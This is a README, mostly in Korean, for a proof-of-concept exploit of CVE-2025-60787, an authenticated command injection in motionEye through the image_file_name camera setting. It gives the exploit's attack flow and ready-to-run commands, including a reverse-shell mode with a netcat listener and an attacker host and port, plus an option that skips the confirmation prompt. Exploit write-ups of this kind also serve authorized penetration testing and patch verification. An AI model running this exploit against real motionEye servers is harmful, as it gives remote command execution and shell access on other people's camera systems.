
CVE-2025-60787 motionEye authenticated command injection RCE PoC
CVE-2025-60787에 대한 인증된 명령 주입 PoC입니다. motionEye v0.43.1b4 및 이전 버전은 image_file_name과 같은 사용자 제어 카메라 구성 값을 충분한 정화 없이 Motion 구성에 기록하여, 해당 값이 처리될 때 명령 실행을 허용합니다.
승인된 테스트 및 연구용으로만 사용하세요. 소유하지 않거나 테스트에 대한 명시적 허가가 없는 시스템에는 사용하지 마십시오.
Signed API request -> camera config update -> image_file_name injection -> snapshot trigger -> command execution
/config/list/를 통해 카메라 구성을 읽습니다.image_file_name 설정에 명령을 삽입합니다./action/<camera_id>/snapshot/을 트리거하여 motionEye가 삽입된 파일 이름을 처리하도록 합니다.


git clone https://github.com/ozcanpng/CVE-2025-60787.git
cd CVE-2025-60787
pip install -r requirements.txt
python3 CVE-2025-60787.py \
--target http://127.0.0.1:8765 \
--user admin \
--password-hash HASH \
--cmd 'id > /tmp/motioneye_rce'
먼저 리스너를 시작하세요:
rlwrap nc -lvnp 4444
그런 다음 실행:
python3 CVE-2025-60787.py \
--target http://127.0.0.1:8765 \
--port 8765 \
--user admin \
--password-hash HASH \
--reverse-shell \
--lhost 10.10.16.53 \
--lport 4444
유용한 옵션:
--camera-id N Camera ID to modify (default: 1)
--restore Restore the original camera configuration after triggering
--dry-run Build signed requests without modifying the target
--debug Print canonical signed paths, bodies and signatures
--no-trigger Update config without triggering a snapshot
--verify-tls Verify HTTPS certificates
--yes Skip reverse-shell confirmation prompt
| 제품 | 영향을 받는 버전 | 필요 접근 권한 | 영향 |
|---|---|---|---|
| motionEye | <= 0.43.1b4 | 인증된 관리자/API 접근 | motionEye/Motion 프로세스 사용자로서 OS 명령 실행 |
결과의 권한은 motionEye가 배포된 방식에 따라 달라집니다. 서비스를 root로 실행하는 컨테이너나 실험실 이미지에서는 명령 실행이 root 권한으로 이루어질 수 있습니다.
image_file_name입니다.--restore를 사용하여 익스플로잇 후 원래 카메라 구성을 복원하세요.--cmd를 사용하는 것이 좋습니다.ozcanpng — github.com/ozcanpng — ozcanpng.dev